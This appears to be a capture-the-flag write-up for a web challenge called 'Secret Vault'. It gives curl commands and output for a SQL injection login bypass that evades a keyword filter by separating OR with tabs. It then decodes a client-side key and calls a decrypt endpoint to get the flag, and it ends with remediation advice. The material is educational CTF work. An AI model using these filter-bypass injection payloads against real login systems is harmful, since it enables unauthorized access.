SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
EVENT: Safaricom PwnZone 2.0 Qualifiers 2026CATEGORY: WebPOINTS: 300 PTS

Secret Vault

AUTHORED BY:@bealthguy10/5/2026

Secret Vault: Web

What the challenge was

A cinema-themed login at /login guarding a /vault. Unauthenticated visits to /vault redirected to /. Once opened, the vault listed secrets including an encrypted FLAG.txt and exposed a /decrypt endpoint plus a JavaScript constant holding an encoded key.

Initial recon

Normal credentials failed as expected:

ffcurl -s -X POST -d 'username=test&password=test' http://54.72.82.22:8090/login | grep -o "Invalid.*"
Invalid credentials

A single quote changed the behaviour from a login failure to a database error:

ffcurl -s -X POST --data-urlencode "username=test'" --data-urlencode "password=test" http://54.72.82.22:8090/login | grep -o "Database error.*"
Database error: near "test": syntax error

The login used string-interpolated SQL. Classic comment payloads were refused:

ffcurl -s -X POST --data-urlencode "username=admin'-- -" --data-urlencode "password=x" http://54.72.82.22:8090/login | grep -o "Invalid.*\|could not be completed.*"
That request could not be completed.

The filter was then mapped: --, /*, space-surrounded OR, and || were blocked, while quotes themselves, #, and tab-separated tokens were not.

The path

Since -- was unavailable, comments were avoided entirely and operator precedence used instead. With a query shaped like WHERE username='<input>' AND password='<input>', injecting admin' OR '1'='1 makes the admin row match on its username alone. The filter blocked spaces around OR, but tabs passed:

ffcurl -s -X POST --data-urlencode "username=a	OR	b" --data-urlencode "password=test" http://54.72.82.22:8090/login | grep -o "Invalid.*\|could not be completed.*"
Invalid credentials

That established tab separation as the bypass. It was then used in the real injection:

ffcurl -i -s -X POST --data-urlencode "username=admin'	OR	'1'='1" --data-urlencode "password=test" http://54.72.82.22:8090/login | head -n 15
HTTP/1.1 302 FOUND
Location: /vault
Set-Cookie: session=eyJsb2...xIn0...

The server set a session and redirected to /vault. The redirect was followed with the session:

ffcurl -s -b session-cookie http://54.72.82.22:8090/vault | grep -o "FLAG.*\|TWGR.*\|vaultKey.*"
secret-name">FLAG.txt
secret-content">TWGRJLrOWBQ90+NUXN61zuwS0Z6GYJMXuhbmZvw8gCabwH8TtiNnpabEvQ6D5e1evbvOphrakDhrLAIo6q4Jjw==
vaultKey = "VjR1bHRLM3kxMjM0NTY3OA==";

Decoding the constant gave the vault key:

python3 -c "import base64; print(base64.b64decode('VjR1bHRLM3kxMjM0NTY3OA=='))"
b'V4ultK3y12345678'

The exploit

Authentication proceeds through the tab-separated SQL injection, after which the reserved secret is decrypted with the vault's own exposed key:

ffcurl -s -X POST --data-urlencode "username=admin'	OR	'1'='1" --data-urlencode "password=test" http://54.72.82.22:8090/login -c session
ffcurl -s -b session -X POST -H 'Content-Type: application/json' -d '{"data":"TWGRJLrOWBQ90+NUXN61zuwS0Z6GYJMXuhbmZvw8gCabwH8TtiNnpabEvQ6D5e1evbvOphrakDhrLAIo6q4Jjw==","key":"V4ultK3y12345678"}' http://54.72.82.22:8090/decrypt

Response:

{"decrypted":"safctf{7877e854c9f06a8362af26ee280a6574}","success":true}

The chain was SQL injection for authentication, followed by legitimate use of the vault decryptor with its own disclosed key.

The flag

safctf{7877e854c9f06a8362af26ee280a6574}

Notes on method

The error message disclosed the injection, but the filter forced a second step. Testing each token separately showed the bypass was whitespace rather than syntax. Testing tabs and newlines immediately after a space-based rule fires is the efficient ordering. The fix is parameterized queries, an allowlist-based filter or none at all in favour of correct code, server-side session roles rather than reflected usernames, and keys kept out of client-side script.